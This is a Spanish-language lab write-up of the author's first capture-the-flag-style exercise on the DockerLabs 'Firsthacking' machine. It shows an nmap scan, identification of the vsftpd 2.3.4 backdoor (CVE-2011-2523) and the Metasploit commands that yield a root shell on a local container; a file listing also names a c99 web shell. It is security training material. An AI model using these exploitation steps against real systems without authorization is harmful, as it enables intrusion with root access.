

26/07/2024 12:00h

Voy a tratar de realizar mi primer laboratorio fuera del bootcamp se trata de una máquina llamada Firsthacking nivel muy fácil de la plataforma Dockerlabs.

Para iniciarla me meto en la plataforma y descargo el archivo



Descomprimo el archivo y lo ejecuto en Kali con el comando sudo bash autodeploy.sh firsthacking.tar para iniciar el script que da paso a la máquina.

```
(kali@kali)~/Downloads
$ ls
c99shell.php      'DVL Black_complete.pdf' 'DVL White_simple.pdf' 'genymotion-3.7.1-linux_x64(1).bin' 'Metasploit _whitecomplet.pdf'  Metasploit_black.pdf  'Tapo cámara.pdf'
c99shell_v2.0.zip 'DVL Black_simple.pdf'  firsthacking           genymotion-3.7.1-linux_x64.bin  'Metasploit _whitepdf'         Nessus-10.7.4-ubuntu1404_and64.deb
contraseñasmasusadas.exe 'DVL White_complete.pdf' firsthacking.zip        'Metasploit Black_complete.pdf' 'Metasploit2 complete inform.pdf' rockyou.txt

(kali@kali)~/Downloads
$ firsthacking

(kali@kali)~/Downloads/firsthacking
$ ls
auto_deploy.sh  firsthacking.tar

(kali@kali)~/Downloads/firsthacking
$ sudo bash auto_deploy.sh firsthacking.tar
```

Despliego máquina

```
(kali@kali)~/Downloads/firsthacking
$ sudo bash auto_deploy.sh firsthacking.tar

Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
```

Lo primero que voy a hacer es un escaneo de puertos con nmap para ver qué puertos tiene abiertos y como poder acceder por alguno de ellos.

```
(kali㉿kali)-[~/Downloads/firsthacking]
$ nmap 172.17.0.2
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-26 12:06 CEST
Nmap scan report for 172.17.0.2 (172.17.0.2)
Host is up (0.00015s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp

Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds
```

Descubro que sólo tiene abierto el puerto 21. Le hago un nmap 172.17.0.2 – script vuln para ver qué vulnerabilidades puedo explotar.

```
(kali㉿kali)-[~/Downloads/firsthacking]
$ nmap 172.17.0.2 --script vuln
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-26 12:10 CEST
Nmap scan report for 172.17.0.2 (172.17.0.2)
Host is up (0.00013s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
| ftp-vsftpd-backdoor:
|   VULNERABLE:
|     vsFTPD version 2.3.4 backdoor
|       State: VULNERABLE (Exploitable)
|       IDs: CVE:CVE-2011-2523 BID:48539
|         vsFTPD version 2.3.4 backdoor, this was reported on 2011-07-04.
|       Disclosure date: 2011-07-03
|       Exploit results:
|         Shell command: id
|         Results: uid=0(root) gid=0(root) groups=0(root)
|       References:
|         https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
|         https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|         http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
|         https://www.securityfocus.com/bid/48539
|_

Nmap done: 1 IP address (1 host up) scanned in 11.38 seconds
```

Encuentro la vulnerabilidad CVE-2011-2523 y la información que consigo sobre ella en incibe es la siguiente:

Descripción: vsftpd versión 2.3.4 descargado entre 20110630 y 20110703, contiene una puerta trasera (backdoor) que abre un shell en el puerto 6200/tcp. Tiene una puntuación de 9,80/10 lo que la convierte en crítica/alta.

Afecta a las siguientes versiones:

CPE
cpe:2.3:a:vsftpd_project:vsftpd:2.3.4:*:*:*:*:*
cpe:2.3:o:debian:debian_linux:8.0:*:*:*:*:*
cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*
cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*

Busco la vulnerabilidad y me indica que puedo explotarla en Metasploit

```
(root@kali)-[/home/kali/Downloads/firsthacking]
# searchsploit vsftpd 2.3.4

Exploit Title
-----
vsftpd 2.3.4 - Backdoor Command Execution
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)
Shellcodes: No Results
```

Inicio Metasploit, antes de buscar la vulnerabilidad creo un workspace firsthacking.

```
(kali@kali)-[~/Downloads/firsthacking]
$ sudo su
[sudo] contraseña para kali:
(root@kali)-[/home/kali/Downloads/firsthacking]
# msfdb init && msfconsole
[+] Starting database
[i] The database appears to be already configured, skipping initialization
Metasploit tip: Use sessions -1 to interact with the last opened session
```

```
msf6 > workspace -a firsthacking
[*] Added workspace: firsthacking
[*] Workspace: firsthacking
msf6 > workspace
  debian
  default
  metasploitable2
  windowsloitable
* firsthacking
msf6 >
```

Busco la vulnerabilidad en Metasploit

```
msf6 > search vsftpd 2.3.4

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution
```

Selecciono el exploit y miro la información necesaria para explotarlo, me solicita el RHOSTS el RPORT no es necesario ya que ya viene configurado por el exploit.

```

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 172.17.0.2
rhost => 172.17.0.2
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):



| Name    | Current Setting | Required | Description                                                                                            |
|---------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                               |
| CPORT   |                 | no       | The local client port                                                                                  |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                           |
| RHOSTS  | 172.17.0.2      | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                  |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 172.17.0.2:21 - The port used by the backdoor bind listener is already open
[+] 172.17.0.2:21 - UID: uid=0(root) gid=0(root) groups=0(root)
[*] Found shell.
[*] Command shell session 1 opened (172.17.0.1:43251 -> 172.17.0.2:6200) at 2024-07-26 12:57:18 +0200

```

```

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 172.17.0.2:21 - The port used by the backdoor bind listener is already open
[+] 172.17.0.2:21 - UID: uid=0(root) gid=0(root) groups=0(root)
[*] Found shell.
[*] Command shell session 1 opened (172.17.0.1:43251 -> 172.17.0.2:6200) at 2024-07-26 12:57:18 +0200

whoami
root

```

Estoy dentro!!!